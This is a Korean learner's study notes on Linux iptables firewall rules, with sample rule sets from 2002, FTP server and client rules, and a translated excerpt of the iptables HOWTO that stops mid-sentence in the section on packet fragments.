ex) iptables -A INPUT -s 211.111.111.0/24 -p tcp -m tcp --syn -j DROP
: -A : 정책 추가
: INPUT : 자신의 서버로 접속하는 부분에 대한 설정을 표시
: -s : start 출발지를 나타냄
즉 현재 서버로 접속하는 클라이언트들에 대한 설정임
211.111.111.0/24 : 211.111.111.0 - 255번까지
211.111.111.0/255.255.255.0 : 위와 동일
0/0 : 모든 주소를 나타냄(이렇게 설정하지 않음)
: -p tcp : 정책을 가하는 프로토콜을 나타냄
: -m tcp : tcp의 확장으로 이해하자(??)
: --syn : tcp 인증과정(SYN,RST,ACK,SYN)을 모두 나타냄(??)
: -j DROP : 정책을 나타냄

ex) iptables -A INPUT -i lo -j ACCEPT
: -i : 입력인터페이스
  -o : 출력인터페이스
: INPUT이므로 당연히 입력인터페이스로 결정된다.
* lo : loopback interface

ex) iptables -A INPUT -f -j DROP
: -f : 분절지정으로 DROP으로 설정(??)

ex) in과 out을 함께 적어주면 좋음(??)
: -A INPUT -p tcp -m tcp --dport 25 -j ACCEPT
: -A OUTPUT -p tcp -m tcp --sport 25 -j ACCEPT

ex) 상태적용 (!을 쓰지 못함)
: -m state --state [NEW, ESTABLISHED, RELATED, INVALID]
: INVALID 가 정책의 가장위에 있게 함
: ESTABLISHED, RELATED가 그 다음
: NEW가 가장 마지막
: 위에서
: -A INPUT -f -j DROP
: -A INPUT -m state --state INVALID -j DROP
* ESTABLISHED, RELATED, NEW는 정책과 함께 사용하자 당연한 이야기
* 먼저 ESTABLISHED, RELATED설정후 똑같이 NEW를 설정한다.
* 그리고 당근 DROP이 따라 와야 한다.

ex 초짜 설정)
# Generated by iptables-save v1.2.6a on Fri Dec 27 16:11:48 2002
*filter
:INPUT ACCEPT [22188:2403099]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [14235:609757]
# 그대로 두자 iptables-save > mytables시 자동으로 생성되는 부분

-A INPUT -f -j DROP
# 분절은 모두 drop
-A INPUT -i lo -j ACCEPT
# 입력인터페이스 모두 허용

#-A INPUT -d 218.238.43.6 -p tcp -m tcp --dport 80 -j ACCEPT
# INPUT -d(목적지)이므로 접속의 목적지는 바로 자신의 IP가 된다.(OUTPUT이면 반돼가
# 된다. 주의 하자) 그러므로 자신의 IP를 적어주고, tcp 프로토콜에 대해서 설정한다.
# dport는 목적지 포트로 자신의 컴퓨터 80번포트에 해당한다.
# 즉 웹서비스만 접속가능하다는 뜻(80번 포트)
-A INPUT -p tcp -m tcp --dport 80 -m mac --mac-source 00:E0:29:96:FF:63 -j ACCEPT
# 이 부분은 해당 랜카드의 MAC ADDRESS에서만 접속가능하게 설정하는 부분
-A INPUT -d 218.238.43.6 -p tcp -m tcp --syn -j DROP
# 위에서 ACCEPT한 후에 이곳에서 DROP설정
# --syn 설정하자 : 나가는 tcp는 허용 접속하는 tcp는 거부

############### UDP #########################################
-A INPUT -s 210.117.65.100 -d 218.238.43.6 -p udp -m udp --sport 53 -j ACCEPT
# 210.117.65.100(외부 네임서버)에서 자신의 컴퓨터(218.238.43.6)로 UDP포트를 이용하여
# 210.117.65.100의 53(네임서버)포트를 이용하여 접속할 때 접속허용
# 외부 네임서버 이용시 설정

#-A INPUT -d 218.238.43.6 -p udp -m udp --dprot 53 -j ACCEPT
# 자신의 네임서버를 운영할 때   

-A INPUT -d 218.238.43.6 -p udp -m udp -j DROP
# 자신의 컴퓨터로 UDP 포트를 이용한 접속을 모두 거부
# 항상 ACCEPT후 DROP하자.

############### ICMP #########################################
-A INPUT -d 218.238.43.6 -p icmp --icmp-type 8 -j REJECT
# 자신의 컴퓨터로 icmp 프로토콜을 이용하여 접속할 때
# icmp type 8번 포트만 거부(ping 공격거부임)

COMMIT
# Completed on Fri Dec 27 16:11:48 2002

ex 딴놈꺼 함 보기)
FTP 데몬및 클라이언트 설정하기

FTP SERVER
FTP 데몬을 위해서는 21번 포트로 들어 오는 접속 시도 연결,
그와 연관이 있는 20번 포트로의 연결, windows의 IE 에서 더블 클릭들을 했을
경우에 대한 passive(1024-65535 포트로의 연결)모드에 대한 연결을 허락

iptables -A INPUT -p tcp --dport 21 -m state --state NEW,ESTABLISHED -j ACCEPT
iptables -A INPUT -p tcp --dport 20 -m state --state ESTABLISHED -j ACCEPT
iptables -A INPUT -p tcp --sport 1024:65535 --dport 1024:65535 -m state \
--state ESTABLISHED,RELATED -j ACCEPT

21번 포트로의 새로운 연결과 연결 확립을 허가
20번역시 허가
나머지 1024-65535 번으로의 연결 확립및 연관된 패킷에 대한 연결을 허가하는
RELATED를 위해서 패킷을 추적하는 것으로 예상된다.

추가로 다음 명령을 집어 넣으면 더 빠른 접속을 하게 되는데,
왜 그런지는 지금 이해가 가지 않는다.
내가 아는 FTP 세션 연결과는 상관이 없는 부분이지만,
서버측에서 다음과 같은 패킷을 보내고 나서 응답이 없으면
연결을 맺는 기이한 현상을 보이고 있다.서버측 모습을 보면

[root@redhat root]# netstat -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 0.0.0.0:21              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 192.168.0.8:21          192.168.0.3:2649        ESTABLISHED
tcp        0     20 192.168.0.8:22          192.168.0.3:2625        ESTABLISHED
tcp        0      1 192.168.0.8:1137        192.168.0.3:113         SYN_SENT

마지막 라인을 주목해서 보기 바란다. 192.168.0.8 은 서버측 주소이고,
192.168.0.3은 클라이언트 쪽 주소이다. 즉 클라이언트 족에서 원하는 데이타를
IE에서 더블 클릭하면 위와 같은 상황이 발생하게 된다는 말이다.
따라서 다음을 집어 넣으면 빠른 접속을 하게 되는데, 알수 없는 현상이다.
이부분에 대한 생각을 좀 해봐야 할 것이다. 정확한 이해를 하는대로 수정하겠다.

iptables -A INPUT -p tcp --sport 113 -m state --state ESTABLISHED -j ACCEPT

FTP 클라이언트
tcp는 양방향이기 때문에 클라이언트측에서 나가는게 허락이 된다고 해도,
들어 오는게 막혀 있으면 접근이 불가능하다.
따라서 상대방의 21,20,1024-65535 에서 들어 오는 연결을 허락해야 한다.
서버측과 상대적으로 생각하면 된다.

iptables -A INPUT -p tcp --sport 21 -m state --state ESTABLISHED  -j ACCEPT

상대방의 21번 포트에서 내컴으로의 존재하는 접속에 대한 패킷을 받아 들이는 룰이다.

iptables -A INPUT -p tcp --sport 20 -m state --state ESTABLISHED,RELATED -j ACCEPT

위의 라인은 서버(상대방)측의 20번 포트에서 내 컴퓨터로 존재하는 접속에 대한
패킷과 또 그존재 하는 접속과의 연관이 있는 패킷을 허용한다.

iptables -A INPUT -p tcp --sport 1024:65535 --dport 1024:65535 -m state \
--state ESTABLISHED -j  ACCEPT 

위의 라인은 상대방컴(서버)의 1024:65535 에서 내 컴(클라이언트)으로의 존재하는
접속에 대한 패킷을 허용 한다.
위와 같이 허가를 해주면, active, passive 모드 둘 다 접근이 가능하다.

ex 초짜에서 함더 생각한후 설정)
# Generated by iptables-save v1.2.6a on Tue Dec 31 13:15:17 2002
*filter
:INPUT ACCEPT [8762:10005592]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [7815:454302]
:RH-Lokkit-0-50-INPUT - [0:0]
#####################  상위에 오는 정책들  ###########################
# fragmentation drop
-A INPUT -d 218.238.43.20 -f -j DROP
# INVALID packet Drop
-A INPUT -d 218.238.43.20 -m state --state INVALID -j DROP
# 네임서버가 상위정책에 오는 것은 생각해 보면 당연한 것 같다.
# 외부네임서버(210.117.65.100) 이용할 때
-A INPUT -s 210.117.65.100 -d 218.238.43.20 -p udp -m udp --sport 53 -j ACCEPT
# 자신이 네임서버역확을 할때
-A INPUT -d 218.238.43.20 -p udp -m udp --sport 53 -j ACCEPT
# 나머지 udp 포트는 Drop
#-A INPUT -d 218.238.43.20 -p udp -m udp -j DROP
# Loopback 은 모두 허용(??)
-A INPUT -i lo -j ACCEPT
# 서비스 포트가 아니라 랜덤하게 생성되는 외부 응용프로그램의 접속포트이다.
# 그러므로 ACCEPT 해주는 것이 편하다.
-A INPUT -p tcp --sport 1025:65535 --dport 1025:65535 -m state --state ESTABLISHED,RELATED -j ACCEPT
#################### ESTABLISHED, RELATED, NEW #######################
# ESTABLISHED, RELATED 설정후 나머지(TCP, UDP) 모두 DROP 시키고
# 똑같이 NEW 설정후 나머지(TCP, UDP) 모두 DROP하는 순서로 한다.
# 응답속도가 빠르게 요구되는 것은 상위에 위치시킨다.
############### ESTABLISHED, RELATED #################################
# 아파치
-A INPUT -d 218.238.43.20 -p tcp -m tcp --dport 80 -m state --state ESTABLISHED,RELATED -j ACCEPT
# 20-21:FTP, 22:SSH
-A INPUT -d 218.238.43.20 -p tcp -m tcp --dport 20:22 -m state --state ESTABLISHED,RELATED -j ACCEPT
# 25:smtp
-A INPUT -d 218.238.43.20 -p tcp -m tcp --dport 25 -m state --state ESTABLISHED,RELATED -j ACCEPT
# 137-139:samba
-A INPUT -d 218.238.43.20 -p tcp -m tcp --dport 139 -m state --state ESTABLISHED,RELATED -j ACCEPT
-A INPUT -d 218.238.43.20 -p udp -m udp --sport 137:138 -m state --state ESTABLISHED,RELATED -j ACCEPT
############### NEW #################################
-A INPUT -d 218.238.43.20 -p tcp -m tcp --dport 80 -m state --state NEW -j ACCEPT
-A INPUT -d 218.238.43.20 -p tcp -m tcp --dport 20:22 -m state --state NEW -j ACCEPT
-A INPUT -d 218.238.43.20 -p tcp -m tcp --dport 25 -m state --state NEW -j ACCEPT
-A INPUT -d 218.238.43.20 -p tcp -m tcp --dport 139 -m state --state NEW -j ACCEPT
-A INPUT -d 218.238.43.20 -p udp -m udp --sport 137:138 -m state --state NEW -j ACCEPT
############### 나머지 전부 DROP #################################
-A INPUT -d 218.238.43.20 -p tcp -m tcp --syn -j DROP
# 아래와 같은 설정이다 (--syn)
#-A INPUT -d 218.238.43.20 -p tcp -m tcp --sport 1:65535 -j DROP
-A INPUT -d 218.238.43.20 -p udp -m udp -j DROP
#-A INPUT -d 218.238.43.20 -p udp -m udp --sport 1:65535 -j DROP
############### ICMP #########################################
# icmp type 8 : echo = ping 공격 거부 설정
-A INPUT -d 218.238.43.20 -p icmp --icmp-type 8 -j DROP
############### ETC# #########################################
# MAC ADDRESS의 랜카드만 접속 허용
# 주의하자 상위 정책에서 tcp를 막았으므로 아래 설정은 상위에 설정되어야
# 효력을 발휘할 것으로 생각된다.
# 특정유저 허용, 로그기록등 다양한 설정이 가능하다. 계속 연구하자.
#-A INPUT -p tcp -m tcp --dport 80 -m mac --mac-source 00:E0:29:96:FF:63 -j ACCEPT
COMMIT
# Completed on Tue Dec 31 13:15:17 2002

===============================================================================
IPTABLES HOWTO 문서
===============================================================================
IP address, network address, netmask, routing, DNS 가 무었인지 알고 있다고
가정합니다. 그렇지 않다면 '네트워크 개념 하우투' 를 읽기를 권유합니다.

이 하우투는 상냥한 소개(이게 여러분을 열받게 하고 지금은 흐리멍텅하고 그러나
무방비인)와 가공되지않은 완전 노출(which would leave all but the hardiest
souls confused, paranoid and seeking heavy weaponry)사이를 넘 나들 것이다.

여러분의 네트워크는 안전하지 않다. 빠르고, 편안하면서 그 사용이 좋은 쪽으로만
하도록하고 악한 시도를 허락하지 않도록 하려는 것은 복잡한 영 화관에서 자유로운
대화는 허락하면서 "불이야"하고 외치는 것은 불허하는 것처럼 거의 해결불능의
문제와 같다. 이것에대한 해답은 이 하우투에서 구할 수 없을 것이다.

여러분이 할 수있는 것은 그 절충점을 결정하는 일이다. 나는 이러한 목적 으로
사용할 수 있는 몇몇 도구와 경계하여야할 약점에 대하여 여러분이 좋은 목적으로
사용하고 악의있는 목적으로 사용하지 않기를 바라며, 알려 주려고 한다. 또다른
어려운 문제이다.


3. 그렇다면, 패킷 필터란 무었일까?

패킷필터는 지나가는 패킷의 해더를 살펴보고 그 전체 패킷의 운명을 결정하는
소프트웨어의 일부이다. 이것은 패킷을 'DROP'(즉, 마치 전혀 전달되지도 못 했던것
처럼 패킷을 거부) 하던가, 'ACCEPT'(즉, 패킷이 지나가도록 내버려 둠) 하던가
또는 다른 더욱 복잡한 무엇을 할 것인가를 결정할 것이다.

리눅스에서 패킷 필터링은 커널 내부에 구성되고(커널의 모듈로서 또는 그 내부에
포함 되는 형태이다), 우리가 패킷으로 해야할 몇몇 복잡한 것이 있다. 그러나, 그
패킷의 헤더를 관찰하고 그 패킷의 운명을 결정하는 기본 원칙은 여전히 적용 된다.




3.1 왜 우리는 패킷을 필터할려고 하나 ?


제어, 보안, 관찰가능성


제어:

여러분이 내부 네트워크에서 다른 네트워크로 리눅스 박스를 이용하여 접속을
하고자 할때(소위, 인터넷) 여러분은 어떤형태의 전송은 가능하게 하고 다른것은
불가능하게 할 기회를 가진다. 예를 들어, 패킷 헤더에는 목적지의 주소를 포함하고
있고 이것으로 패킷이 바깥 네트워그의 다른곳 으로 가지 않도록 한다. 다른 예로,
나는 Dilbert archives를 호출하기 위하여 넷스케잎을 이용한다. 그곳의
웹페이지에는 doubleclick.net으로 부터의 광고가 있고 넷스케잎은 그 광고를
받기위하여 나의 시간을 소비한 다. doubleclick.net의 주소로 가거나 또는
그곳에서 오는 어떠한 패킷도 허락하지 않도록 패킷필터에게 이야기 해 놓음으로 이
문제를 해결할 수 있다. (이렇게 하는 더 좋은 방법도 있다 : Junkbuster를 보세요)


보안:

여러분의 멋지고, 잘 정돈된 네트워크와 인터넷의 혼돈사이에 리눅스 박스 만이
있다면, 여러분의 네트워크로 들어오려는 것을 억제할 수 있다는 것은 근사한
일이다. 예를들어, 여러분은 여러분의 네트워크로부터 나가는 모든 것을 허용하고
싶지만, 반면에 밖으로부터 들어오는, "죽음의 핑"같은, 악의 있는 것에 대하여는
것정이 될 것이다. 다른 예로, 아무리 여러분 리눅스 박스의 모든 계정사용자가
암호를 가지고 있다고 하더도 바깥으로부터의 텔넷시도는 바라지 않을 것이다.
대부분의 사람들처럼 인터넷에서 구경꾼 이 되고 싶고 제공자는 되고싶지 않을
것이다. 간단히 말해서, 접속중에 모든 들어오려는 패킷을 패킷 필터를 이용하거
거부할려고 할 것이다.


관찰가능성:

가끔 잘못 설정된 지역네트워크는 패킷을 바깥세상으로 토해놓는다. 패킷 필터에게
어떠한 이상한 일이라도 일어나면 여러분에게 알려 주도록 말해 두는 것은 근사한
일이다. 여러분은 이런 일에대하여 무엇인가를 할 수도 있고 그냥 '이상한
일이네'하고 넘길 수도 있다.



3.2 리눅스에서 패킷 필터는 어떻게 하나 ?


1.1 시리즈 부터 리눅스 커널은 패킷 필터링을 포함하기 시작했다. 제 1세대는
BSD의 ipfw를 기본으로 하였고 1994년 후반기에 Alan Cox에 의해서 포트 되었다.
이것은 리눅스 2.0에서 Jos Vos와 다른이들에 의해서 개선되었고 커널의 필터링
규칙을 제어하는 사용자 툴로는 'ipfwadm'이 사용되었다. 1998년 중반에 리눅스
2.2를 위하여 나는 Michael Neuling의 도움으로 커널에 대하여 열심히 일하였고
사용자 툴료는 'ipchains'를 내놓았다. 마지막으로, 제 4세대 툴이 'iptables'이고
리눅스 2.4를 위하여 1999년 중반에 커널을 제 작성 하였다. 이 하우투 문서가
촛점을 맞추고 있는 것이 이 iptables 에 대한 내용이다.



netfilter를 가지고있는 커널이 필요하다. netfilter는 다른 것들(iptables 모듈
같은)이 붙을수 있는 리눅스 커널의 일반적인 기본 구조이다. 이것은 2.3.15 이상
의 리눅스 커널에 들어있고 커널 설정에서 CONFIG_NETFILTER 에 'Y'로 대답하고 컴
파일한 것이어야 한다.



iptables라는 툴은 커널에게 어떤 패킷을 필터할 것인지를 알려준다. 여러분이 프
로그래머나 변태가 아니라면, 이것이 패킷 필터링을 제어하는 수단이다.



iptables


iptables 는 커널의 패킷 필터링 테이블에 필터링 규칙을 삽입하거나 삭제하는 도구
이다. 이것은 여러분이 무었을 설정했든지, 재부팅시에는 소실된다는 것을
의미한다. 다음번 리눅스가 다시 부팅되었을때 설정 내용들이 재설치 되기를
바란다면 규칙들을 영속시키기를 보아라



iptables는 ipfwadm과 ipchains를 대치한다. 손실없이 iptables 의 사용을 피하고
싶 다면 ipchains와 ipfwadm 사용하기를 보아라.



규칙들을 영속시키기


여러분의 파이어월 설정은 커널에 저장되므로 재부팅시에 손실된다. iptables-save
와 iptables-restore을 구현하는 것은 나의 TODO 리스트에 있다. 이것들이 나오게
되면 정말 좋을 것이다. 약속한다.



그동안은 여러분의 규칙을 설정하는 명령들을 초기화 스크립트에 기록해야 한다. 명
령들중 하나가 실패하였을때를 대비하여 뭔가 이성적인것을 해두어야 한다. (보통
'exec /sbin/sulogin'을 사용한다.)


4. 당신은 누구며 왜 나의 커널을 가지고 놀려고 하나 ?


나는 Rusty이다. 리눅스 IP 파이어월 유지하는 사람이고 적절한 시기에 적절한
장소에 있게된 그냥 워킹코더일 뿐이다. 나는 ipchains를 맹글었다. (실제적인
작업을 한 사람을 볼려면 "How Do I Packet Filter Under Linux?"라는 문서를
보라), 그리고 이번에 패킷 필터링을 구할 수 있을 정도의 많은 것을 배웠다.



WatchGuard는 정말 훌륭한 파이어월 회사이며, 정말 멋진 플럭인 파이어박스를
판매하며 아무것도 하지 않아도 나에게 월급을 준다. 덕분에 나는 이 작품을
만드는데 나의 모든 시간을 소모할 수 있었고, 이전의 작업도 그러하다. 나는
6개월이면 끝마치리라 짐작했지만 12개월이 걸렸다. 그러나 내가 바르게 했다는
생각이 든다. 수많은 수정과 하드디스크 박살과, 한번의 랩탑분실과 몇번의
파일시스템 박살과 한번의 모니터 박살의 결과물이 여기있다.



내가 여기에 있는 동안, 사람들의 잘못된 개념을 고쳐주고 싶다. 나는 커널대왕 이
아니다. 나도 내가 커널대왕이 아닌것을 안다. 왜냐하면 이런 커널에 대한 작 업중
진짜 커널대왕들(David S. Miller, Alexey Kuznetsov, Andi Kleen, Alan Cox 같은)
몇명과 접촉해 봤기 때문이다. 그러나 그들은 심오한 마술을 하느라 너무나 바빴고,
내가 안전한 물 가장자리에서 허우적 거리도록 내버려 두었다.


5. Rusty's 의 패킷 필터링에 대한 총알 가이드


대부분의 사람들은 단 하나의 PPP 접속만 사용하고 어떤 누구도 이것을 통해서
들어오는 것을 원하지 않는다.


## connection-tracking modules을 삽입한다. (not needed if built into kernel).
# insmod ip_conntrack
# insmod ip_conntrack_ftp

## 내부로부터 오는 것을 제외한 다른 새로운 접속을 막기위하여 새로운 체인을
## 만든다.
# iptables -N block
# iptables -A block -m state --state ESTABLISHED,RELATED -j ACCEPT
# iptables -A block -m state --state NEW -i ! ppp0 -j ACCEPT
# iptables -A block -j DROP

## 입력과 포워드 체인으로부터 그 체인으로 가도록 한다.
# iptables -A INPUT -j block
# iptables -A FORWARD -j block


6. 패킷이 필터를 어떻게 지나는가 ?


커널은 '필터' 테이블에 세개의 규칙을 가지고 시작한다. 이것을 파이어월 체인
또는 그냥 체인이라고 한다. 그 세개의 체인은 INPUT, OUTPUT, FORWARD 이다.


이것은 2.0 이나 2.2 커널과는 아주 다르게 움직인다.



이 체인은 아래그림처럼 생겼다.

                      _____
                     /     \
   -->[ 라우팅 ]--->|포워딩 |------->
      [ 판  정 ]     \_____/        ^
           |                        |
           v                       ____
          ___                     /    \
         /   \                   | 출력 |
        |입력 |                   \____/
         \___/                      ^
           |                        |
            ----> Local Process ----



위 그림에서 세개의 원은 위에서 언급한 세개의 체인을 나타낸다. 패킷이 이
그림에서 동그라미로 나타낸곳에 이르면 그 체인은 그 패킷의 운명을 결정하
기위하여 시험한다. 체인이 그 패킷을 DROP 하라고 하면 패킷은 그곳에서 삭
제된다. 그러나 그 체인이 ACCEPT 하고 하면 이 이 그림의 다음 부분으로 계 속
전달된다.



체인은 규칙의 점검표이다. 각 규칙은 '패킷의 헤더가 이렇게 되어있으면 이 곳에서
무엇을 하라'는 형태로 되어 있다. 규칙이 그 패킷에 맞지 않으면 다 음 규칙을
참고한다. 마지막으로 더이상 고려할 규칙이 없으면 커널은 무엇 을 할 것인가를
결정하기 위하여 그 체인의 정책을 확인한다. 보안을 생각하 는 시스템에서 이러한
정책은 보통 커널에게 그 패킷을 DROP 하도록 한다.



패킷이 커널에 도탁하면 그 패킷의 목적지를 확인한다. 이것은 '라우팅' 이라고
한다.
이것의 목적지가 이곳이면, 패킷은 위 그림에서 아래쪽 방향으로 전달 되어 입력
체인에 도달한다. 이것이 이 체인을 통과하면 패킷을 기다리 고있던 어떤
프로세서도 그것을 받게 된다.
그렇지 않으면, 커널이 포워딩 불능으로 되어있던가, 패킷을 어떻게 포 워딩해야
하는가를 알지 못하면, 그 패킷은 DROP 된다. 포워딩이 가능하 게 되어있고 다른
곳이 목적지이면 패킷은 그림의 오른쪽 방향으로 전달 되어 포워딩 체인으로 간다.
이 체인이 ACCEPT 하게 되면 이것은 포워딩 할 네트워크로 보내진다.
마지막으로, 이곳에서 돌아가던 프로그램은 네트워크 패킷을 전송할 수 있 게 된다.
이 패킷은 즉시 출력 체인에 보내진다. 이 체인이 ACCEPT 하게 되면 이 패킷은 그
목적지가 어디든지 보내진다.


7. iptables 사용하기


iptables는 상당히 자세한 메뉴얼 페이지(man iptables)를 가지고 있다. ipchains
에 익숙하다면 <@@ref>Appendix-Aipchains와 iptables의 다른점을 보아라. 이 둘은
매우 비슷하다.



iptables로 할수 있는 일에는 몇가지 다른것이 있다. 첫번째 작동은 전체 체인을
조절한다. 처음 시작은 세개의 미리 만들어진 체인으로 시작하는 데 이것은 제거될
수 없다.


새로운 체인 만들기 (-N).
비어있는 체인을 제거하기 (-X).
미리 만들어진 체인의 정책을 바꾸기 (-P)
어떤 체인의 규칙들을 나열하기 (-L)
체인으로부터 규칙들을 지우기 (-F)
체인내의 모든 규칙들의 패킷과 바이트의 카운드를 0 으로 만들기 (-Z)

체인 내부의 규칙을 조작하는 몇가지 방법이 있다.


체인에 새로운 규칙을 추가하기 (-A)
체인의 어떤 지점에 규칙을 삽입하기 (-I)
체인의 어떤 지점의 규칙을 교환하기 (-R)
체인의 어떤 지점의 규칙을 제거하기 (-D)
체인에서 일치하는 첫번째 규칙을 제거하기 (-D)


7.1 컴퓨터가 부팅될때 여러분이 보게 되는 것


iptables는 모듈로 되어있을 것이다. 이것은 iptable_filter.o 이다. 이것은
처음으로 iptables를 실행할때 자동으로 로드될 것이다. 이것느 커널에 영구히
포함될 수도 있다.



iptables 명령이 실행되기 전에는 기본적으로 만들어져있는 체인(입력, 포워딩,
출력)에는 아무른 규칙도 없다. (주의 : 어떤 배포판에는 초기화 스크깁트에
iptables를 실행하는 것이 들어있을 수 있다.) 입력과 출력 체인의 정책은
ACCEPT이고 포워딩 체인의 정책은 DROP이다. (iptable_filter 모듈에 'forward=1'
옵션을 선택하여 이것을 고칠 수 있다.)



7.2 하나의 규칙으로 작동하기


이것은 패킷 필터링의 약방의 감초이다. 일반적으로 추가와 제거 명령을 사용할
것이다. 다른것은 이런 개념의 단순한 확장이다.



각 규칙은 패킷이 일치되어야할 상태를 설정하고, 일치되었을때 무었을 할 것인가
('target')를 나타낸다. 예를들어, 여러분은 127.0.0.1로부터의 모든 ICMP 패킷을
DROP하려고 할 것이다. 그렇다면, 이경우 일치되어야할 상태는 'ICMP이면서 그 출처
가 127.0.0.1' 이다. 이 경우 'target' 은 DROP 이다.



127.0.0.1 은 'loopback' 인터페이서 이고 실제적인 네트워크 접속이 전혀 없더라도
이것은 가지고 있을 것이다. 이러한 패킷은 'ping' 프로그램을 이용하여 생성할 수
있다. (이것은 단순히 ICMP type 8 (반응요구)을 보내고 모든 협조적인 호스트는
친절하게 ICMP type 0 (반응요구에 대한 응답)을 대답한다. 이것은 테스트하는데
유용 하다.



# ping -c 1 127.0.0.1
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.2 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.2/0.2/0.2 ms
# iptables -A INPUT -s 127.0.0.1 -p icmp -j DROP
# ping -c 1 127.0.0.1
PING 127.0.0.1 (127.0.0.1): 56 data bytes

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 0 packets received, 100% packet loss
#


여기서 첫번째 ping 이 성공한 결과를 볼 수 있다. ('-c 1'은 하나의 패킷만
보내도록 ping에게 말하는 것이다.)



그리고, '입력' 체인에 127.0.0.1에서 오는 패킷('-s 127.0.0.1')으로 ICMP
프로토콜인것 ('-p icmp')은 DROP ('-j DROP')하라는 규칙을 추가(-A)하였다.



그리고는 다시 ping으로 규칙을 테스트하였다. ping이 오지않은 응답을 기다 리지
못하고 응답받기를 포기하기까지 약간의 시간이 걸릴것이다.



규칙을 제거하는데는 두가지 방법이 있다. 첫째, 입력체인에는 단 하나의 규칙 만이
있다는 것을 앎으로, 몇번을 지워라는 방식으로 할 수 있다.

               # iptables -D INPUT 1
               #

입력 체인으로부터 1번 규칙을 제거한다.


두번째 방법은 -A 명령을 이용한 이전의 명령에서 -A를 -D로 다꿔주면 된다. 이것은
복잡한 규칙을 가지고 있고 각 규칙이 몇번째 규칙인지를 외우고 다니기를 싫어
한다면, 아주 유용한 방법이다.

               # iptables -D INPUT -s 127.0.0.1 -p icmp -j DROP
               #

-D 명령은 -A 명령과 똑 같은 문법이다. (-I 나 -R 도 마찬가지이다.) 만약,
여러개의 똑 같은 규칙들이 같은 체인에 있다면, 첫번째 것만 제거 될 것이다.


7.3 필터링 지정


앞에서 프로토콜을 지정하기위하여 '-p'를 이용하였고, 출처를 지정하기 위하여
'-s'를 이용하였다. 그 외에도 패킷의 특징을 지정하는데 사용되 는 다른 옵션들이
있다. 아래는 이것들에 대한 완벽한 개요이다.



출처와 목적지 지정


출처('-s', '--source', '--src')와 목적지('-d', '--destination', '--dst') IP
주소를 지정하는데 4가지 방법이 있다. 가장 보편적인 방법은 'www.linuxhq.com',
'localhost' 처럼 이름을 이용하는 것이다. 두번째 방법은 '127.0.0.1' 처럼 IP
주소를 이용하는 것이다.



세번째와 네번째 방법은 IP 주소의 그룹을 지정하는 것으로 '199.95.207.0/24' 또는
'199.95.207.0/255.255.255.0' 같은 형태이다. 이 둘은 모두 199.95.207.0 부터
199.95.207.255 사이의 모든 IP 주소를 지정한다. '/' 다음의 숫자는 IP 주소의
어떤 부분이 의미있는가를 나타낸다. '/32' 나 '/255.255.255.255' 가
기본값이다.(IP 주소의 모든부분이 일치해야 한다.) 모든 IP 주소를 지정하는데
'/0' 가 사용된다.

               # iptables -A INPUT -s 0/0 -j DROP
               #


이것은 '-s' 옵션을 이용하지 않은것과 같은 효과를 나타내므로 잘 사용되지
않는다.



'역'의 경우 지정


많은 지시자들('-s'나 '-d' 같은)은 일치하지 않는 주소를 나타내기 위하여
'!'('not'을 의미한다)로 시작하는 설정을 할 수 있다. 예로, '-s ! localhost' 는
localhost로부터오는 패킷이 아닌경우를 나타낸다.



프로토콜 지정


프로토콜은 '-p' 지시자로 지정할 수 있다. 프로토콜을 숫자가 될수 있고 (IP의
프로토콜 번호를 알고 있다면) 'TCP', 'UDP', 'ICMP' 같은 이름이 될 수도 있다.
그리고 'tcp'는 'TCP'와 같은 역할을 한다.



프로토콜 이름 지정에도 '!'을 이용할 수 있다. '-p ! TCP'



인터페이서 지정


'-i'('--in-interface')와 '-o'('--out-interface')가 인터페이서를 저정 하는데
사용된다. 인터페이서는 패킷이 들어오고 나가는 물리적인 도구이다. ifconfig
명령을 사용하여 현재 활성화 되어있는 인터페이서를 알아볼수 있다.


입력 체인을 지나는 패킷은 출력 인터페이서를 가지고 있지 않으므로 '-o' 설정에
일치하는 패킷이 없을 것이고 출력 체인을 지나는 패킷은 입력 인터 페이서를
가지고 있지 않으므로 '-i' 설정에 일치하는 패킷이 없을 것이다.



포워딩 체인을 지나는 패킷만이 입력과 출력 인터페이서를 모두 가질것이다.



현재 존재하지 않는 인터페이서를 지정하는 것도 아무런 문제없이 될 수 있 다.
이것은 인터페이서가 활성화 되기 전까지는 규칙에 일치하는 패킷이 있을수 없을
것이다. 이것은 dial-up PPP를 사용하는 경우 특히 유용하다.



특별한 경우로, 인터페이서 이름이 '+'로 끝날수 있는데 이것은 그 이름으로
시작하는 모든 인터페이서를 모두 지정한다(그것이 현재 존재하든 존재하지 않든).
예를들어, 모든 PPP 인터페이서와 일치하는 규칙을 지정하려면 -i ppp+와같이 하면
된다.


인터페이서 이름앞에 '!'도 이용할 수 있다.



분절 (Fragments) 지정


가끔 패킷은 한번에 다 전달되기에는 너무 큰 경우가 있다. 이런경우 패킷은 여러
분절로 나뉘어지고 다중패킷의 형태로 전달된다. 목적지에서 이 분절들 은 재
구성되어 전체 패킷이 된다.



분절에서 문제점은 내부 패킷의 부분으로 IP 헤더 다음의 위치에서 프로토콜 헤더를
찾는데, 이것은 첫번째 분절에만 있기 때문에 찾을수가 없다.



만약 여러분이 접속추적이나 NAT를 한다면 모든 분절은 필터링 코드에 도달하 기
전에 뭉쳐지므로 분절에 대한 걱정은 할 필요가 없다.



그렇지 않다면, 분절들이 필터링 규칙에서 어떻게 처리되는가를 이해하는 것 은
중요하다. 우리가 가지고있지 않은 정보를 요구하는 필터링 규칙에 부합될 수가
없다. 이것은 첫번째 패킷은 다른 패킷과 같이 처리되고 두번째 이후의 분절은
전달될 수 없음을 의미한다. 그러므로 -p TCP --sport www ('www' 를 출신 포트로
지정하는 경우)와 같은 규칙에 맞는 분절은 있을 수 없다( 첫번째 분절을
제외하고). 그 반대의 규칙인 -p TCP --sport ! www도 분 절들을 처리할 수 없다.



그러나, 두번째 이상의 분절에 대하여 규칙을 지정하기위하여 '-f'
('--fragment')라는 지시자를 사용할 수 있다. 두번째 이상의 분절에는 적용
